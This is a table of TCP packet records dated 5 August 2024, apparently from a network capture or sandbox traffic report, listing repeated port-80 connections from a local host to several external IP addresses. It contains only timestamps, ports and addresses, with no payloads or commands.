Aug 5, 2024 15:31:36.984570980 CEST	55400	80	192.168.2.4	38.12.1.29
Aug 5, 2024 15:31:36.989576101 CEST	80	55400	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:36.993746996 CEST	55400	80	192.168.2.4	38.12.1.29
Aug 5, 2024 15:31:36.995434046 CEST	55400	80	192.168.2.4	38.12.1.29
Aug 5, 2024 15:31:37.000335932 CEST	80	55400	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:37.858598948 CEST	80	55400	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:37.858755112 CEST	80	55400	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:37.858823061 CEST	55400	80	192.168.2.4	38.12.1.29
Aug 5, 2024 15:31:38.507493973 CEST	55400	80	192.168.2.4	38.12.1.29
Aug 5, 2024 15:31:39.525800943 CEST	55401	80	192.168.2.4	38.12.1.29
Aug 5, 2024 15:31:39.577769041 CEST	80	55401	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:39.578133106 CEST	55401	80	192.168.2.4	38.12.1.29
Aug 5, 2024 15:31:39.580959082 CEST	55401	80	192.168.2.4	38.12.1.29
Aug 5, 2024 15:31:39.585905075 CEST	80	55401	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:39.585921049 CEST	80	55401	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:39.585928917 CEST	80	55401	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:39.585942030 CEST	80	55401	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:39.585963011 CEST	80	55401	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:39.586035013 CEST	80	55401	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:39.586046934 CEST	80	55401	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:39.587239027 CEST	80	55401	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:39.587250948 CEST	80	55401	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:40.562031031 CEST	80	55401	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:40.563420057 CEST	80	55401	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:40.563497066 CEST	55401	80	192.168.2.4	38.12.1.29
Aug 5, 2024 15:31:41.085958004 CEST	55401	80	192.168.2.4	38.12.1.29
Aug 5, 2024 15:31:42.104713917 CEST	55402	80	192.168.2.4	38.12.1.29
Aug 5, 2024 15:31:42.109690905 CEST	80	55402	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:42.109786034 CEST	55402	80	192.168.2.4	38.12.1.29
Aug 5, 2024 15:31:42.111552954 CEST	55402	80	192.168.2.4	38.12.1.29
Aug 5, 2024 15:31:42.116389036 CEST	80	55402	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:42.990638018 CEST	80	55402	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:42.990756989 CEST	80	55402	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:42.990832090 CEST	55402	80	192.168.2.4	38.12.1.29
Aug 5, 2024 15:31:42.993993044 CEST	55402	80	192.168.2.4	38.12.1.29
Aug 5, 2024 15:31:42.998895884 CEST	80	55402	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:48.291944981 CEST	55403	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:48.298114061 CEST	80	55403	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:48.298234940 CEST	55403	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:48.299766064 CEST	55403	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:48.304711103 CEST	80	55403	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:48.976499081 CEST	80	55403	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:48.976519108 CEST	80	55403	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:48.976689100 CEST	55403	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:49.804614067 CEST	55403	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:50.830182076 CEST	55404	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:50.838589907 CEST	80	55404	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:50.838701963 CEST	55404	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:50.840605974 CEST	55404	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:50.846204042 CEST	80	55404	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:51.526330948 CEST	80	55404	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:51.526360989 CEST	80	55404	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:51.526601076 CEST	55404	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:52.351299047 CEST	55404	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:53.374205112 CEST	55405	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:53.379189968 CEST	80	55405	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:53.379322052 CEST	55405	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:53.384526968 CEST	55405	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:53.389436960 CEST	80	55405	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:53.389448881 CEST	80	55405	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:53.389457941 CEST	80	55405	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:53.389468908 CEST	80	55405	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:53.389477968 CEST	80	55405	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:53.389539957 CEST	80	55405	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:53.389549971 CEST	80	55405	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:53.389568090 CEST	80	55405	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:53.389578104 CEST	80	55405	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:54.185596943 CEST	80	55405	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:54.186047077 CEST	80	55405	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:54.186141968 CEST	55405	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:54.898123026 CEST	55405	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:55.916939974 CEST	55406	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:56.251333952 CEST	80	55406	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:56.251497984 CEST	55406	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:56.253350019 CEST	55406	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:56.259661913 CEST	80	55406	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:57.075639009 CEST	80	55406	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:57.075690031 CEST	80	55406	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:57.075793982 CEST	80	55406	217.116.0.191	192.168.2.4
Aug 5, 2024 15:31:57.075925112 CEST	55406	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:57.075958967 CEST	55406	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:57.078430891 CEST	55406	80	192.168.2.4	217.116.0.191
Aug 5, 2024 15:31:57.084598064 CEST	80	55406	217.116.0.191	192.168.2.4
Aug 5, 2024 15:32:02.211504936 CEST	55407	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:02.216583967 CEST	80	55407	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:02.216701984 CEST	55407	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:02.273204088 CEST	55407	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:02.278250933 CEST	80	55407	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:02.699836969 CEST	80	55407	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:02.700047016 CEST	55407	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:03.788918972 CEST	55407	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:03.793899059 CEST	80	55407	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:04.807734013 CEST	55408	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:04.813055038 CEST	80	55408	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:04.813201904 CEST	55408	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:04.814971924 CEST	55408	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:04.819881916 CEST	80	55408	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:05.273565054 CEST	80	55408	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:05.273763895 CEST	55408	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:06.320060015 CEST	55408	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:06.324990988 CEST	80	55408	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:07.338872910 CEST	55409	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:07.344712973 CEST	80	55409	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:07.344829082 CEST	55409	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:07.347879887 CEST	55409	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:07.352870941 CEST	80	55409	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:07.352900982 CEST	80	55409	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:07.352917910 CEST	80	55409	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:07.353039026 CEST	80	55409	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:07.353100061 CEST	80	55409	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:07.353112936 CEST	80	55409	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:07.353125095 CEST	80	55409	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:07.354023933 CEST	80	55409	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:07.354038000 CEST	80	55409	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:07.823301077 CEST	80	55409	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:07.823385954 CEST	55409	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:08.851334095 CEST	55409	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:08.857403040 CEST	80	55409	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:09.870322943 CEST	55410	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:09.875477076 CEST	80	55410	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:09.875547886 CEST	55410	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:09.877701998 CEST	55410	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:09.882636070 CEST	80	55410	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:11.242788076 CEST	80	55410	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:11.242818117 CEST	80	55410	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:11.243024111 CEST	55410	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:11.246021032 CEST	55410	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:11.250933886 CEST	80	55410	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:16.330894947 CEST	55411	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:16.335854053 CEST	80	55411	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:16.335983992 CEST	55411	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:16.337836027 CEST	55411	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:16.342859030 CEST	80	55411	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:16.990628004 CEST	80	55411	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:16.991204023 CEST	80	55411	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:16.991395950 CEST	55411	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:17.856082916 CEST	55411	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:18.870798111 CEST	55412	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:18.875874043 CEST	80	55412	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:18.876010895 CEST	55412	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:18.878891945 CEST	55412	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:18.883873940 CEST	80	55412	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:19.544770956 CEST	80	55412	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:19.545957088 CEST	80	55412	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:19.546017885 CEST	55412	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:20.382889986 CEST	55412	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:21.402117014 CEST	55413	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:21.407110929 CEST	80	55413	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:21.407213926 CEST	55413	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:21.410698891 CEST	55413	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:21.415961027 CEST	80	55413	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:21.415982962 CEST	80	55413	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:21.415996075 CEST	80	55413	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:21.416009903 CEST	80	55413	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:21.416044950 CEST	80	55413	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:21.416163921 CEST	80	55413	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:21.416229010 CEST	80	55413	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:21.416243076 CEST	80	55413	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:21.416277885 CEST	80	55413	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:22.070451021 CEST	80	55413	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:22.070595026 CEST	80	55413	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:22.070909023 CEST	55413	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:22.913929939 CEST	55413	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:23.933454990 CEST	55414	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:23.939755917 CEST	80	55414	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:23.939856052 CEST	55414	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:23.941818953 CEST	55414	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:23.947274923 CEST	80	55414	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:24.597884893 CEST	80	55414	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:24.597929001 CEST	80	55414	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:24.598270893 CEST	55414	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:24.598339081 CEST	80	55414	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:24.598476887 CEST	55414	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:24.601211071 CEST	55414	80	192.168.2.4	109.95.158.127
Aug 5, 2024 15:32:24.606039047 CEST	80	55414	109.95.158.127	192.168.2.4
Aug 5, 2024 15:32:29.626846075 CEST	55415	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:29.631808996 CEST	80	55415	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:29.631892920 CEST	55415	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:29.634285927 CEST	55415	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:29.639238119 CEST	80	55415	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:30.095812082 CEST	80	55415	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:30.095906019 CEST	55415	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:31.150125027 CEST	55415	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:31.155754089 CEST	80	55415	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:32.170186043 CEST	55416	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:32.175267935 CEST	80	55416	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:32.175360918 CEST	55416	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:32.178124905 CEST	55416	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:32.183070898 CEST	80	55416	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:32.758655071 CEST	80	55416	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:32.758755922 CEST	55416	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:33.679502964 CEST	55416	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:33.684381008 CEST	80	55416	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:34.701046944 CEST	55417	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:34.706032991 CEST	80	55417	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:34.709495068 CEST	55417	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:34.709495068 CEST	55417	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:34.714405060 CEST	80	55417	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:34.714420080 CEST	80	55417	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:34.714443922 CEST	80	55417	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:34.714456081 CEST	80	55417	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:34.714550972 CEST	80	55417	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:34.714564085 CEST	80	55417	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:34.714607000 CEST	80	55417	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:34.714618921 CEST	80	55417	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:34.714647055 CEST	80	55417	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:35.190251112 CEST	80	55417	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:35.190409899 CEST	55417	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:36.210730076 CEST	55417	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:36.215852976 CEST	80	55417	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:37.229540110 CEST	55418	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:37.235394001 CEST	80	55418	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:37.235661030 CEST	55418	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:37.237335920 CEST	55418	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:37.244299889 CEST	80	55418	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:38.673557043 CEST	80	55418	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:38.674514055 CEST	80	55418	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:38.674645901 CEST	55418	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:38.676399946 CEST	55418	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:32:38.682825089 CEST	80	55418	3.33.130.190	192.168.2.4
Aug 5, 2024 15:32:43.700432062 CEST	55419	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:43.706072092 CEST	80	55419	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:43.706376076 CEST	55419	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:43.708153963 CEST	55419	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:43.713140965 CEST	80	55419	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:44.347558975 CEST	80	55419	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:44.347866058 CEST	80	55419	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:44.348059893 CEST	55419	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:45.211092949 CEST	55419	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:46.230477095 CEST	55420	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:46.235450983 CEST	80	55420	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:46.235529900 CEST	55420	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:46.237900972 CEST	55420	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:46.242861986 CEST	80	55420	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:46.883445024 CEST	80	55420	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:46.883586884 CEST	80	55420	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:46.883713007 CEST	55420	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:47.741919994 CEST	55420	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:48.762897968 CEST	55421	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:48.767869949 CEST	80	55421	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:48.767972946 CEST	55421	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:48.770221949 CEST	55421	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:48.779963970 CEST	80	55421	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:48.779997110 CEST	80	55421	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:48.780064106 CEST	80	55421	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:48.780086040 CEST	80	55421	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:48.780097008 CEST	80	55421	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:48.780107975 CEST	80	55421	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:48.780127048 CEST	80	55421	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:48.780169964 CEST	80	55421	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:48.780179977 CEST	80	55421	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:49.398022890 CEST	80	55421	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:49.398469925 CEST	80	55421	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:49.398526907 CEST	55421	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:50.273237944 CEST	55421	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:51.293188095 CEST	55422	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:51.298235893 CEST	80	55422	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:51.298398018 CEST	55422	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:51.302417040 CEST	55422	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:51.312923908 CEST	80	55422	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:51.922563076 CEST	80	55422	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:51.923235893 CEST	80	55422	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:51.923297882 CEST	55422	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:51.925935984 CEST	55422	80	192.168.2.4	64.226.69.42
Aug 5, 2024 15:32:51.930840969 CEST	80	55422	64.226.69.42	192.168.2.4
Aug 5, 2024 15:32:57.129309893 CEST	55423	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:32:57.134449005 CEST	80	55423	203.161.55.102	192.168.2.4
Aug 5, 2024 15:32:57.135046959 CEST	55423	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:32:57.138952017 CEST	55423	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:32:57.144123077 CEST	80	55423	203.161.55.102	192.168.2.4
Aug 5, 2024 15:32:57.775000095 CEST	80	55423	203.161.55.102	192.168.2.4
Aug 5, 2024 15:32:57.776659012 CEST	80	55423	203.161.55.102	192.168.2.4
Aug 5, 2024 15:32:57.776738882 CEST	55423	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:32:58.650975943 CEST	55423	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:32:59.669639111 CEST	55424	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:32:59.674561024 CEST	80	55424	203.161.55.102	192.168.2.4
Aug 5, 2024 15:32:59.674633980 CEST	55424	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:32:59.676848888 CEST	55424	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:32:59.682523966 CEST	80	55424	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:00.270761967 CEST	80	55424	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:00.271318913 CEST	80	55424	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:00.271450996 CEST	55424	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:33:01.179696083 CEST	55424	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:33:02.198924065 CEST	55425	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:33:02.204134941 CEST	80	55425	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:02.204226971 CEST	55425	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:33:02.206785917 CEST	55425	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:33:02.211740971 CEST	80	55425	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:02.211760998 CEST	80	55425	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:02.211795092 CEST	80	55425	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:02.211806059 CEST	80	55425	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:02.211869955 CEST	80	55425	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:02.211879015 CEST	80	55425	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:02.211888075 CEST	80	55425	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:02.212318897 CEST	80	55425	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:02.212332010 CEST	80	55425	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:02.852524996 CEST	80	55425	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:02.853492022 CEST	80	55425	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:02.853794098 CEST	55425	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:33:03.711172104 CEST	55425	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:33:04.729224920 CEST	55426	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:33:04.734976053 CEST	80	55426	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:04.735074997 CEST	55426	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:33:04.736814976 CEST	55426	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:33:04.741695881 CEST	80	55426	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:05.338709116 CEST	80	55426	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:05.338922024 CEST	80	55426	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:05.338980913 CEST	55426	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:33:05.341341019 CEST	55426	80	192.168.2.4	203.161.55.102
Aug 5, 2024 15:33:05.347366095 CEST	80	55426	203.161.55.102	192.168.2.4
Aug 5, 2024 15:33:10.924943924 CEST	55427	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:10.930008888 CEST	80	55427	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:10.930104971 CEST	55427	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:10.931991100 CEST	55427	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:10.936953068 CEST	80	55427	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:11.866707087 CEST	80	55427	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:11.869304895 CEST	80	55427	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:11.869359970 CEST	55427	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:12.445450068 CEST	55427	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:13.464602947 CEST	55428	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:13.472734928 CEST	80	55428	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:13.473237991 CEST	55428	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:13.474692106 CEST	55428	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:13.479708910 CEST	80	55428	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:14.393913031 CEST	80	55428	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:14.394716978 CEST	80	55428	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:14.394961119 CEST	55428	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:14.976671934 CEST	55428	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:15.996145964 CEST	55429	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:16.001604080 CEST	80	55429	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:16.001697063 CEST	55429	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:16.004317999 CEST	55429	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:16.009774923 CEST	80	55429	216.83.33.140	192.168.2.4
